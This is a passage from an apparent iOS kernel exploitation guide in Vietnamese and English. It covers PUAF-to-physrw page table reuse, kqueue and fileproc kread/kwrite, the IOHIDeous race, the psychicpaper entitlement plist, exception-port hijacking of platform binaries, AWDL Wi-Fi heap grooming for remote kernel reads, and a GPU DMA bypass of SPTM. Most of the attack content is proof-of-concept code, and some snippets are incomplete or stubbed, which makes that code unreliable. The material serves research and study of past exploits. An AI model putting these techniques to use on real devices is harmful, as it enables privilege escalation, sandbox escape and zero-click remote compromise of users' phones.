// Named entry still holds reference to physical pages.
// Deallocate it -> physical pages returned to free list.

kr = mach_port_deallocate(mach_task_self(), named_entry);

// Now: page 1's physical page is on kernel's free list
// BUT: our PTE still points to it -> PUAF achieved!

// ===== STEP 6: Stabilize with new VME =====
//
// The dangling PTE exists but our VME was removed.
// Accessing the address would fault (no VME, even though PTE exists).
// Solution: create NEW VME covering the dangling PTE's address.

mach_vm_address_t puaf_addr = map_addr + vm_page_size;  // Page 1 address
mach_vm_address_t cover_addr = puaf_addr;
kr = mach_vm_allocate(mach_task_self(), &cover_addr, vm_page_size,
                      VM_FLAGS_FIXED);  // FIXED at exact address

// If this succeeds: we have a valid VME at puaf_addr
// The OLD dangling PTE is still active
// The VME's backing is a NEW zero page (never faulted)
// BUT the hardware PTE still points to the FREED physical page
// -> Read/write puaf_addr = read/write freed physical page = PUAF!

Từ PUAF đến physrw — Page Table Reuse

// Goal: get kernel to reallocate our freed physical page as L3 page table
// Then: writing to our PUAF mapping = writing L3 PTEs = arbitrary phys mapping

// Step 1: Force kernel to allocate many L3 page tables
// Each mach_vm_allocate of a LARGE region needs new L3 page table pages
#define NUM_PT_SPRAY 4096
mach_vm_address_t pt_spray_addrs[NUM_PT_SPRAY];
for (int i = 0; i < NUM_PT_SPRAY; i++) {
    mach_vm_allocate(mach_task_self(), &pt_spray_addrs[i],
                     256 * PAGE_SIZE,   // Large enough to need L3 entries
                     VM_FLAGS_ANYWHERE);
    // Fault a page in each region to force L3 page table creation
    volatile uint8_t *p = (uint8_t *)pt_spray_addrs[i];
    *p = 0;
}

// Step 2: Check if our PUAF page became a page table
// L3 page table entries have specific format:
//   [1:0] = 0b11 (valid table/page descriptor)
//   [47:12] = output address (physical page frame)
//   [63:48] = attributes (AP, UXN, PXN)
volatile uint64_t *puaf_page = (volatile uint64_t *)puaf_addr;
for (int i = 0; i < PAGE_SIZE / 8; i++) {
    uint64_t pte = puaf_page[i];
    if ((pte & 0x3) == 0x3) {
        // This looks like a valid L3 PTE!
        // Our PUAF page IS a page table now
        // We can read/write PTEs to map arbitrary physical addresses

        // Step 3: Create PTE pointing to target physical address
        uint64_t target_phys = 0x200000000;  // Example: AMCC registers
        uint64_t new_pte = (target_phys & 0x0000FFFFFFFFF000ULL) |
                           0x0060000000000443ULL;
        // Bits: valid=1, table=1, AttrIdx=0, AP=01 (EL0 RW), AF=1

        puaf_page[i] = new_pte;
        // Flush TLB (kernel does this via pmap operations)

        // The virtual address that this PTE maps now points to target_phys
        // Access that VA -> access AMCC registers -> full physrw!
        break;
    }
}

kfd: kread/kwrite Primitives

// kfd implements kread/kwrite via kernel objects, not direct PT manipulation
// Two approaches depending on PUAF method:

// Approach 1: kread via kqueue_workloop_ctl
// Corrupt kqueue's kq_wqs pointer -> points to target address
// kevent64() reads from kq_wqs -> leaks target data

uint64_t kread64_kqueue(uint64_t target_addr) {
    // Step 1: Find kqueue object in PUAF page
    // Step 2: Overwrite kq_wqs field via PUAF write
    volatile uint64_t *puaf = (volatile uint64_t *)puaf_addr;
    puaf[KQ_WQS_OFFSET / 8] = target_addr - FIELD_OFFSET;

    // Step 3: Call kevent -> kernel reads from corrupted pointer
    struct kevent64_s events[1] = {};
    int n = kevent64(kq_fd, NULL, 0, events, 1, 0, NULL);

    // Step 4: Leaked value embedded in event data
    return events[0].data;
}

// Approach 2: kwrite via dup/fcntl
// Corrupt file descriptor's fp->fg_data pointer
// dup2() or fcntl() writes through corrupted pointer

void kwrite64_dup(uint64_t target_addr, uint64_t value) {
    // Step 1: Corrupt fileproc in PUAF page
    volatile uint64_t *puaf = (volatile uint64_t *)puaf_addr;
    puaf[FG_DATA_OFFSET / 8] = target_addr - WRITE_OFFSET;

    // Step 2: dup2 writes value through corrupted fg_data pointer
    // Specific value controlled via source fd attributes
    dup2(controlled_fd, target_fd);
}

Pattern 5: IOKit Race Condition Exploitation

Dùng bởi: IOHIDeous (Siguza), nhiều IOKit CVEs, DarkSword

PoC: IOHIDeous Race — Complete Flow (Siguza)

IOHIDeous exploit race condition trong IOHIDSystem::initShmem(). IOHIDSystem sử dụng shared memory giữa kernel và userspace để truyền HID events. EvOffsets struct nằm trong shared memory — kernel ĐỌC giá trị từ đây nhưng user có thể GHI đồng thời.

#include <IOKit/IOKitLib.h>
#include <pthread.h>
#include <mach/mach.h>

// EvOffsets: first struct in shared memory, contains offsets to other structs
typedef struct {
    int evGlobalsOffset;    // Offset from shmem base to EvGlobals
    int evDriverOffset;     // Offset to driver data
    // ... other offsets
} EvOffsets;

// EvGlobals: HID event state, normally at shmem + sizeof(EvOffsets)
typedef struct {
    int version;            // <- Detection field! Should be != 0 after init
    int
    // ... event flags, cursor position, modifier state, etc.
    uint32_t eventFlags;    // <- Write target for arbitrary kernel write
    // ... many more fields
} EvGlobals;

// Shared state between threads
static volatile int race_done = 0;
static volatile EvOffsets *shared_eop = NULL;
static io_connect_t hid_client = IO_OBJECT_NULL;

// ---- STEP 1: Obtain IOHIDUserClient ----
// Normally held exclusively by WindowServer (evOpenCalled flag).
// Must force WindowServer to release it.

void obtain_hid_client(void) {
    // Method: force logout -> WindowServer exits -> releases client
    system("launchctl reboot logout");
    // Brief window before new WindowServer starts
    // In this window, grab IOHIDUserClient:

    io_service_t service = IOServiceGetMatchingService(
        kIOMainPortDefault, IOServiceMatching("IOHIDSystem"));

    IOServiceOpen(service, mach_task_self(), kIOHIDServerConnectType,
                  &hid_client);
    IOObjectRelease(service);

    // Map shared memory from IOHIDSystem
    mach_vm_address_t shmem_addr = 0;
    mach_vm_size_t shmem_size = 0;
    IOConnectMapMemory64(hid_client, kIOHIDGlobalMemory,
        mach_task_self(), &shmem_addr, &shmem_size,
        kIOMapAnywhere);

    shared_eop = (volatile EvOffsets *)shmem_addr;
}

// ---- STEP 2: Race thread — flip evGlobalsOffset in shared memory ----

void *race_thread(void *arg) {
    uint32_t target_offset = (uint32_t)(uintptr_t)arg;

    while (!race_done) {
        // Set evGlobalsOffset to attacker-controlled value
        // This redirects where kernel thinks EvGlobals is
        shared_eop->evGlobalsOffset = target_offset;

        // Brief delay — must overlap with kernel's read
        // usleep too slow; use tight loop or __asm__ volatile("yield")
        for (volatile int i = 0; i < 10; i++) {}

        // Restore to valid value so kernel doesn't crash immediately
        shared_eop->evGlobalsOffset = sizeof(EvOffsets);
    }
    return NULL;
}

// ---- STEP 3: Trigger thread — force IOHIDSystem reinitialization ----

void *trigger_thread(void *arg) {
    while (!race_done) {
        // Force initShmem() call
        // initShmem() code path:
        //   eop->evGlobalsOffset = sizeof(EvOffsets);   // WRITE
        //   <--- RACE WINDOW --->
        //   evg = (EvGlobals *)((char *)shmem_addr
        //          + eop->evGlobalsOffset);              // READ
        //
        // If race thread changes evGlobalsOffset between WRITE and READ:
        //   evg points to attacker-chosen offset!

        // Trigger via IOHIDSystem::evOpen or similar
        uint64_t input = 0;
        IOConnectCallScalarMethod(hid_client, kIOHIDEvOpen, &input, 1,
                                  NULL, NULL);
    }
    return NULL;
}

// ---- STEP 4: Detection — check if race was won ----

int check_race_won(void) {
    // After initShmem(), kernel initializes evg fields:
    //   evg->version = EV_VERSION
    //   evg->eventFlags = 0
    //   etc.
    //
    // If race won: evg points to WRONG offset
    // Check: is there an EvGlobals at the DEFAULT offset?
    EvGlobals *evg_default = (EvGlobals *)((char *)shared_eop
                                           + sizeof(EvOffsets));

    if (evg_default->version == 0) {
        // version == 0 means kernel did NOT initialize EvGlobals here
        // => Race won! evg was redirected to our target offset
        // => Kernel wrote EvGlobals fields at our chosen location
        return 1;
    }
    return 0;  // Race lost, retry
}

// ---- STEP 5: Main race loop ----

void run_iohideous_race(void) {
    obtain_hid_client();

    // Target: redirect evg to overlap with a mach message descriptor
    // in kalloc zone. This lets us corrupt message descriptor count.
    uint32_t target_offset = /* calculated offset to target object */;

    pthread_t race_tid, trigger_tid;

    for (int attempt = 0; attempt < 10000; attempt++) {
        race_done = 0;

        pthread_create(&race_tid, NULL, race_thread,
                       (void *)(uintptr_t)target_offset);
        pthread_create(&trigger_tid, NULL, trigger_thread, NULL);

        usleep(100000);  // Let threads race for 100ms
        race_done = 1;

        pthread_join(race_tid, NULL);
        pthread_join(trigger_tid, NULL);

        if (check_race_won()) {
            printf("[*] Race won on attempt %d!\n", attempt);
            // evg now points to target_offset
            // Kernel writes to evg->eventFlags = write to target
            break;
        }
    }
}

Tại sao evg->version == 0 là reliable indicator: Khi initShmem() chạy bình thường, nó set evg->version = EV_VERSION (một giá trị nonzero). Nếu race thắng, kernel ghi version tại WRONG offset, nên offset DEFAULT vẫn có version = 0. Đây là detection 100% chính xác — không có false positives.

IOKit Race Pattern (General)

// Pattern: external method + clientClose race
// IOKit drivers thường có:
//   - External methods: access internal objects (called by user)
//   - clientClose(): free internal objects (called by user)
//
// Nếu hai thread gọi đồng thời:
//   Thread 1: IOConnectCallMethod(conn, SELECTOR, ...) -> dereference object
//   Thread 2: IOServiceClose(conn) -> free object
//
// => UAF if method dereference object AFTER close freed it
//
// Race window phụ thuộc vào code path length trong external method

void *method_thread(void *arg) {
    io_connect_t conn = *(io_connect_t *)arg;
    while (!done) {
        uint64_t scalar = 0;
        IOConnectCallScalarMethod(conn, SELECTOR, &scalar, 1, NULL, NULL);
    }
    return NULL;
}

void *close_thread(void *arg) {
    io_connect_t conn = *(io_connect_t *)arg;
    usleep(arc4random_uniform(1000));  // Random delay cho race timing
    IOServiceClose(conn);
    return NULL;
}

Pattern 6: Parser Disagreement (Logic Bug)

Dùng bởi: psychicpaper (Siguza)

Exploit thành công nhất theo tiêu chí elegance: không cần memory corruption, 100% deterministic, cho phép bất kỳ entitlement nào. Core insight: 4 parsers trong iOS interpret cùng một XML document KHÁC NHAU.

Complete XML Trick

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
 "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <!---><!-->
    <key>com.apple.private.security.no-container</key>
    <true/>
    <key>task_for_pid-allow</key>
    <true/>
    <key>platform-application</key>
    <true/>
    <!-- -->
</dict>
</plist>

Parser-by-Parser Analysis: Character-by-Character

Sequence cần phân tích: <!---><!--> (11 ký tự)

Position:  0  1  2  3  4  5  6  7  8  9  10
Character: <  !  -  -  -  >  <  !  -  -  >

=== CoreFoundation XML Parser (used by amfid) ===

Step 1: See "<!" at pos 0-1
Step 2: See "--" at pos 2-3 -> START COMMENT
        Comment start sequence: "<!--"
Step 3: Scan for comment end "-->"
Step 4: See "->" at pos 4-5
        Parser checks: is char at pos 3 == '-'? YES (pos 3 = '-')
        Match "-->" pattern at pos 3-4-5? "- - >" -> YES
        -> COMMENT ENDS at position 5

Step 5: After comment: remaining text = "<!-->...<!-- -->"
Step 6: See "<!" at pos 6-7
Step 7: See "--" at pos 8-9 -> START ANOTHER COMMENT
Step 8: Scan for "-->"...
        -> Skips EVERYTHING until "<!-- -->" (the closing comment)
        -> All entitlement keys are INSIDE this "comment"
        -> Returns EMPTY dict

Result: amfid sees {} (no entitlements) -> binary PASSES validation
        ("no dangerous entitlements found")


=== IOKit XML Parser (used by kernel for AMFI) ===

Step 1: See "<!" at pos 0-1
Step 2: See "--" at pos 2-3 -> START COMMENT
Step 3: Scan for comment end "-->"
Step 4: IOKit parser advances DIFFERENTLY:
        After "<!--", scans char-by-char for ">"
        At pos 5: sees ">" but checks: prev 2 chars = "->" (pos 4-5)
        Need "-->" but only see "->" (single dash before >)
        -> NOT end of comment

Step 5: Continue scanning... pos 6: '<', pos 7: '!', pos 8: '-', pos 9: '-'
        pos 10: '>'
        Check: prev 2 chars at pos 8-9 = "--"
        And pos 10 = ">"
        -> Match "-->" at pos 8-9-10!
        -> COMMENT ENDS at position 10

Step 6: After comment: remaining text starts with the entitlement keys
        <key>com.apple.private.security.no-container</key>
        <true/>
        ...
        -> Parses ALL entitlement keys successfully

Result: kernel sees {no-container: true, tfp: true, platform: true}
        -> Grants ALL private entitlements!


=== XPC Parser (used by sandbox) ===

Behaves same as IOKit parser -> sees all entitlements
-> Sandbox grants: no-container, task_for_pid, platform-application


=== libxml2 (used by provisioning profile validation) ===

Follows XML spec strictly:
  Comment ends at first "-->" sequence
  But "--" inside comment is ILLEGAL in XML spec
  Different implementations handle this differently
  -> Behavior varies, but generally similar to IOKit parser

Summary Table

              | "<!--" | chars 4-5 | chars 6-10 | Entitlements seen? |
              |--------|-----------|------------|--------------------|
CoreFoundation| Start  | "->" END  | New comment| NO  (empty dict)   |
IOKit kernel  | Start  | continue  | "-->" END  | YES (full dict)    |
XPC sandbox   | Start  | continue  | "-->" END  | YES (full dict)    |
libxml2       | Start  | varies    | "-->" END  | YES (typically)    |

Kết quả: amfid nói “binary này KHÔNG có entitlements” -> PASS. Kernel + sandbox nói “binary này CÓ private entitlements” -> GRANT. Binary được cấp quyền no-container (không sandbox), task_for_pid-allow (đọc memory bất kỳ process), platform-application (được coi là Apple binary).

Exception Port Hijacking — Complete Flow (Post-iOS 11)

#include <spawn.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

// Sau iOS 11: platform binary check ngăn non-Apple process
// dùng task ports của Apple processes trực tiếp.
// Cần "proxy" technique: spawn platform binary, hijack communications.

// Step 1: Allocate ports for exception handler and bootstrap proxy
mach_port_t exception_port, bootstrap_proxy;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &exception_port);
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &bootstrap_proxy);
mach_port_insert_right(mach_task_self(), exception_port,
    exception_port, MACH_MSG_TYPE_MAKE_SEND);
mach_port_insert_right(mach_task_self(), bootstrap_proxy,
    bootstrap_proxy, MACH_MSG_TYPE_MAKE_SEND);

// Step 2: Configure spawn attributes
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
posix_spawnattr_setflags(&attr,
    POSIX_SPAWN_START_SUSPENDED |     // Don't run yet
    _POSIX_SPAWN_DISABLE_ASLR);      // Predictable addresses

// Set exception port: when binary crashes, WE receive the exception
// This gives us control over the thread state
posix_spawnattr_setexceptionports_np(&attr,
    EXC_MASK_ALL,                     // Catch all exceptions
    exception_port,                    // Our port
    EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES,
    THREAD_STATE_NONE);

// Set bootstrap port: when binary looks up services, it asks US
posix_spawnattr_setspecialport_np(&attr,
    bootstrap_proxy,                   // Our proxy port
    TASK_BOOTSTRAP_PORT);             // Replace bootstrap_port

// Step 3: Spawn platform binary suspended
pid_t child_pid;
char *argv[] = { "/usr/sbin/cfprefsd", NULL };
posix_spawn(&child_pid, argv[0], NULL, &attr, argv, NULL);

// Step 4: Resume binary -> it immediately faults (SIGSTOP -> exception)
kill(child_pid, SIGCONT);

// Step 5: Receive exception message
// Binary tried to execute -> exception sent to our port
struct {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    // ... exception data, thread state
} exc_msg;
mach_msg(&exc_msg.hdr, MACH_RCV_MSG, 0, sizeof(exc_msg),
    exception_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

// Step 6: Get thread port from exception -> manipulate thread state
mach_port_t thread_port = exc_msg.thread_port;
arm_thread_state64_t state;
mach_msg_type_number_t count = ARM_THREAD_STATE64_COUNT;
thread_get_state(thread_port, ARM_THREAD_STATE64,
    (thread_state_t)&state, &count);

// Step 7: Set thread state to call arbitrary function
// x0 = argument, pc = function address, lr = return address
state.__pc = target_function_addr;
state.__x[0] = argument;
state.__lr = infinite_loop_addr;  // Return to safe location
thread_set_state(thread_port, ARM_THREAD_STATE64,
    (thread_state_t)&state, count);

// Step 8: Resume thread -> platform binary executes our function
// with platform binary's entitlements and privileges
thread_resume(thread_port);

// Step 9: Proxy bootstrap lookups
// When platform binary does bootstrap_look_up("com.apple.xxx"):
//   -> Message comes to OUR bootstrap_proxy port
//   -> We return OUR port instead of real service port
//   -> Platform binary sends privileged messages to US
//   -> We can impersonate any Mach service

// Result: unprivileged app acts WITH platform binary privileges
// Platform binary is "confused deputy" — authenticates OUR messages

Pattern 7: Radio/Remote Exploitation (AWDL)

Dùng bởi: Ian Beer AWDL exploit (CVE-2020-3843)

Exploit này là “magnum opus” — 6 tháng phát triển, kernel code execution từ Wi-Fi proximity, zero-click, wormable. Ian Beer chứng minh rằng bất kỳ iPhone nào trong phạm vi Wi-Fi đều có thể bị compromise mà không cần tương tác.

AWDL Service Response Descriptor (SRD) Struct

// AWDL frames chứa TLV (Type-Length-Value) structures
// SRD TLV là một loại TLV cho phép embed arbitrary data

// TLV header format (from 802.11 AWDL extension)
struct awdl_tlv_header {
    uint8_t type;       // TLV type identifier
    uint16_t length;    // Length of data following header (up to 64KB)
} __attribute__((packed));

// SRD TLV: Service Response Descriptor
// Mỗi SRD trong AWDL frame -> kernel gọi kalloc(length) và copy data
struct awdl_srd_tlv {
    struct awdl_tlv_header hdr;
    uint8_t data[];     // Arbitrary content, controlled by attacker
} __attribute__((packed));

// IO80211AWDLPeer: kernel object representing a discovered AWDL peer
// Created when device receives AWDL frame from new source MAC
// Size: ~0x1800 bytes, allocated in kalloc.8192 or similar

// Key fields at relevant offsets (iOS 13.x):
// +0x0000: vtable pointer
// +0x0048: peer MAC address
// +0x0100: peer capabilities
// +0x1640: steering_msg_blob (pointer) <- CORRUPTION TARGET
// +0x1648: steering_msg_size (uint32)  <- CORRUPTION TARGET
// +0x1680: BSS steering state machine state
// ... many more fields for AWDL protocol state

Heap Grooming via Wi-Fi Frames

// Attacker machine: Raspberry Pi + 2 Wi-Fi adapters
// Adapter 1: monitor mode (receive AWDL frames)
// Adapter 2: injection mode (send crafted AWDL frames)

// Strategy: control heap layout remotely via AWDL frames
//
// 1. EACH SRD in an AWDL frame = one kalloc allocation
//    - Size controlled by TLV length field
//    - Content controlled by TLV data
//    - Multiple SRDs per frame = multiple allocations per frame
//
// 2. EACH unique source MAC = one IO80211AWDLPeer object
//    - Creating peer: send frame with new source MAC
//    - Destroying peer: peer times out after AWDL window closes
//
// 3. Control allocation ORDER by controlling frame timing

// Grooming steps:
// Step 1: Spray SRDs to fill target kalloc zone
for (int i = 0; i < 4096; i++) {
    uint8_t frame[2048];
    int offset = build_awdl_header(frame, spoofed_mac);

    // Add SRD TLV with controlled data
    struct awdl_srd_tlv *srd = (struct awdl_srd_tlv *)(frame + offset);
    srd->hdr.type = AWDL_TLV_SRD;
    srd->hdr.length = TARGET_KALLOC_SIZE;  // e.g., 256 for kalloc.256
    memset(srd->data, 'A', TARGET_KALLOC_SIZE);  // Controlled content
    // Embed fake kernel object data in SRD payload:
    *(uint64_t *)(srd->data + OFFSET_OF_INTEREST) = CONTROLLED_VALUE;

    inject_wifi_frame(adapter, frame, offset + 3 + TARGET_KALLOC_SIZE);
}

// Step 2: Create IO80211AWDLPeer objects (targets for overflow)
for (int i = 0; i < 64; i++) {
    uint8_t mac[6] = {0x02, 0x00, 0x00, 0x00, (i >> 8) & 0xFF, i & 0xFF};
    uint8_t frame[512];
    int len = build_awdl_peer_frame(frame, mac);
    inject_wifi_frame(adapter, frame, len);
}

// Step 3: Free alternating SRDs to create holes
// (Done by sending frames with SRDs that cause deallocation)
// Or: let specific peers timeout -> their SRD allocations freed

// Step 4: Trigger overflow -> corrupts adjacent IO80211AWDLPeer
uint8_t overflow_frame[4096];
int len = build_overflow_frame(overflow_frame);
inject_wifi_frame(adapter, overflow_frame, len);
// Overflow from SRD buffer into adjacent IO80211AWDLPeer object
// Corrupts: steering_msg_blob pointer + steering_msg_size

BSS Steering — Remote Kernel Read Primitive

// After overflow corrupts IO80211AWDLPeer fields:
//   peer->steering_msg_blob = TARGET_KERNEL_ADDR (attacker-set)
//   peer->steering_msg_size = READ_SIZE (attacker-set)
//
// BSS Steering state machine:
// When peer enters steering state, kernel calls:
//   buildMasterIndicationTemplate(peer)
//     -> reads peer->steering_msg_size bytes
//        from peer->steering_msg_blob
//     -> embeds data in outbound AWDL Master Indication frame
//     -> frame transmitted over Wi-Fi
//
// Attacker captures this frame -> READS KERNEL MEMORY!

// Trigger BSS steering:
// 1. Send BSS steering request frame to target
uint8_t steering_frame[256];
build_bss_steering_request(steering_frame, target_mac);
inject_wifi_frame(adapter, steering_frame, sizeof(steering_frame));

// 2. Target kernel processes steering request
//    -> Reads from corrupted steering_msg_blob pointer
//    -> Embeds kernel memory in response frame

// 3. Capture response frame
uint8_t captured[4096];
int cap_len = capture_wifi_frame(adapter, captured, sizeof(captured));

// 4. Extract leaked kernel data from frame
uint8_t *leaked_data = captured + AWDL_HEADER_SIZE + STEERING_DATA_OFFSET;
uint64_t leaked_value = *(uint64_t *)leaked_data;
printf("Kernel read at 0x%llx = 0x%llx\n", TARGET_KERNEL_ADDR, leaked_value);

// This is kernel-to-radio information disclosure:
// No need for any userspace access on victim device
// Attacker just captures Wi-Fi frames from the air

IO80211AWDLPeer Field Layout (Offset +0x1640)

Offset   Size   Field                    Notes
------   ----   -----                    -----
+0x1640  8      steering_msg_blob        Pointer to steering message data
+0x1648  4      steering_msg_size        Size of steering message
+0x164C  4      steering_state           BSS steering state machine state
+0x1650  8      steering_target_bssid    Target BSSID for steering
+0x1658  4      steering_channel         Target channel
+0x165C  4      steering_flags           Steering configuration flags
+0x1660  8      steering_completion      Completion handler pointer

Overflow from adjacent SRD buffer corrupts these fields sequentially.
Careful control of overflow size allows setting steering_msg_blob
and steering_msg_size to desired values while keeping other fields
in a non-crashing state.

Pattern 8: Coprocessor DMA Bypass (SPTM)

Dùng bởi: Coruna (Rocket exploit)

Rocket là exploit SPTM bypass tiên tiến nhất được biết đến. SPTM (Secure Page Table Monitor) chạy tại EL2 và kiểm soát mọi page table modification từ CPU. Nhưng DMA access từ coprocessors đi qua một đường KHÁC — IOMMU — và cấu hình IOMMU có gaps.

SPTM vs DMA: Tại Sao Gap Tồn Tại

=== CPU Memory Access Path ===

   CPU core (EL0/EL1)
        |
        v
   MMU (translate VA -> PA via page tables)
        |
        v
   SPTM (EL2) -- checks: is this page type allowed?
        |           - User page -> user data only
        v           - Kernel page -> kernel access only
   Physical Memory  - Page table page -> only SPTM can modify
        
   => SPTM controls EVERY CPU memory access
   => Cannot modify page tables from EL0 or EL1
   

=== Coprocessor DMA Access Path ===

   GFX Coprocessor (GPU)
        |
        v
   IOMMU (translate IOVA -> PA)
        |
        v
   Physical Memory      <- NO SPTM check!
        
   => IOMMU configuration determines what GPU can access
   => If IOMMU allows access to page table physical addresses...
   => GPU can modify page tables, bypassing SPTM entirely!

Self-Referencing PTE Concept

=== Normal Page Table Structure ===

L1 Table (TTBR1 points here)
  |
  +-- L1[idx] -> L2 Table (physical addr)
                    |
                    +-- L2[idx] -> L3 Table (physical addr)
                                    |
                                    +-- L3[idx] -> Data Page (physical addr)
                                    |
                                    +-- L3[idx+1] -> Another Data Page
                                    

=== Self-Referencing PTE ===

L3 Table at physical address PA_L3:
  +-- L3[0] -> Data Page A
  +-- L3[1] -> Data Page B
  +-- L3[511] -> PA_L3 (SELF-REFERENCE!)
                  |
                  This PTE points BACK to the L3 table itself!

What happens when CPU accesses virtual address mapped by L3[511]:
  CPU -> MMU -> walks L1 -> L2 -> L3[511] -> PA_L3
  But PA_L3 IS the L3 table!
  So CPU reads/writes the L3 TABLE ENTRIES as if they were DATA.

=> Writing to the virtual address mapped by L3[511]
   = writing to L3 table entries
   = modifying page table mappings!
   
=> Attacker can change L3[0] to point to ANY physical address
=> Access virtual address mapped by L3[0] -> access arbitrary physical memory
=> Full physrw achieved!

Rocket Exploit Flow — Detailed

// Step 1: Gruber kernel exploit achieves PUAF -> limited physrw
// Can read/write user pages but NOT page table pages (SPTM blocks)

// Step 2: Find GFX coprocessor command submission interface
// GPU commands are submitted via shared memory (command buffer ring)
// Kernel driver writes GPU commands, GPU reads and executes them
// After kernel exploit: attacker can WRITE to GPU command buffer

// Step 3: Identify IOMMU gap
// IOMMU translation table maps IOVA (IO Virtual Addresses) to PA
// Apple's IOMMU config for GPU:
//   - Maps GPU framebuffer memory: ALLOWED
//   - Maps GPU command buffer memory: ALLOWED  
//   - Maps page table memory: SHOULD BE BLOCKED
//   - BUT: certain physical address ranges not in IOMMU deny list
//   - If page table pages happen to be in an allowed range...
//   -> GPU DMA can access page table pages!

// Step 4: Locate page table physical address
// Via PUAF primitive: scan physical memory for page table signatures
// L3 PTE format: [physical_addr | attributes | valid_bit]
// Page tables have distinctive patterns (many valid PTEs)
uint64_t l3_table_phys = find_page_table_physical_address();

// Step 5: Craft GFX DMA command to write self-referencing PTE
// GPU command: DMA write to physical address l3_table_phys + (511 * 8)
// Value written: l3_table_phys | PTE_VALID | PTE_TABLE | PTE_AF
//                (PTE pointing back to the same L3 table)

struct gpu_dma_cmd {
    uint32_t opcode;        // GPU-specific DMA write opcode
    uint64_t dst_addr;      // Physical address to write to
    uint64_t src_data;      // Data to write
    uint32_t size;           // Write size (8 bytes for PTE)
};

struct gpu_dma_cmd cmd = {
    .opcode = GPU_OP_DMA_WRITE,
    .dst_addr = l3_table_phys + (511 * 8),  // Last PTE slot
    .src_data = l3_table_phys |              // Points to self
                0x0060000000000443ULL,       // Valid, Table, AF, EL0-RW
    .size = 8,
};

submit_gpu_command(&cmd);
// GPU executes DMA write -> bypasses SPTM
// L3[511] now points to L3 table itself = self-referencing PTE

// Step 6: Use self-referencing PTE for arbitrary physical mapping
// Virtual address for L3[511] = some VA in our address space
// Writing to that VA = writing to L3 table entries

volatile uint64_t *l3_entries = (uint64_t *)self_ref_va;

// Map arbitrary physical address at L3[0]:
uint64_t target_phys = 0x200000000;  // Example: AMCC registers
l3_entries[0] = target_phys | 0x0060000000000443ULL;
// Flush TLB
asm volatile("dsb sy; isb");

// Now: VA mapped by L3[0] -> target_phys
// Read/write that VA -> read/write target physical address
// => Full physrw, SPTM completely bypassed!

Tại Sao Đây Là Breakthrough

Trước Rocket:
  SPTM được coi là "unbypassable" từ software
  Mọi page table modification phải qua EL2
  Không có known software-only bypass

Rocket insight:
  SPTM chỉ protect CPU memory access
  Coprocessors (GPU, Neural Engine, ISP, DSP) có DMA access
  DMA đi qua IOMMU, KHÔNG qua SPTM
  Nếu IOMMU config có gap -> coprocessor DMA = bypass SPTM

Future implications:
  - Apple phải audit IOMMU config cho EVERY coprocessor
  - Mỗi coprocessor là potential SPTM bypass vector
  - GPU, ANE (Apple Neural Engine), ISP, DSP đều có DMA
  - Hardware security boundary phải bao gồm DMA paths

Tổng Hợp: Attack Pattern Matrix

Pattern Khi nào dùng iOS range Complexity Reliability
Fake port -> tfp0 Có port UAF <= iOS 13 Medium High
IOSurface kread/kwrite Có heap corruption + IOSurface iOS 11+ Medium High
vm_map_copy type confusion Có 1-byte OOB write iOS 13 High High
PUAF -> physrw Có VM bug iOS 14-16 High Medium-High
Parser disagreement Có parser inconsistency Any (logic bug) Low 100% (deterministic)
Race condition Có concurrent access bug Any Low-Medium Low (probabilistic)
OOL msg spray Heap grooming Any Low High
Coprocessor DMA SPTM bypass needed iOS 17+ Very High Unknown
Radio proximity Remote/0-click needed iOS 13 Very High Medium

Evolution Timeline

2016: mach_portal    -> Fake port pattern established
2017: async_wake     -> IOSurface + OOL port spray refined
2017: v0rtex         -> OSUnserializeXML spray, multi-offset port
2017: IOHIDeous      -> IOKit race condition patterns
2019: SockPuppet     -> Socket UAF variant
2020: oob_timestamp  -> vm_map_copy type confusion, physrw without fake port
2020: psychicpaper   -> Pure logic bug, no memory corruption
2020: AWDL           -> Remote kernel exploitation via Wi-Fi
2022: kfd            -> PUAF techniques (smith, landa, physpuppet)
2023: Op. Triangulation -> Hardware MMIO PPL bypass
2025: Trigon         -> Deterministic exploitation
2025: Coruna         -> Coprocessor DMA SPTM bypass
2026: DarkSword      -> Multi-hop sandbox escape, VFS race -> physrw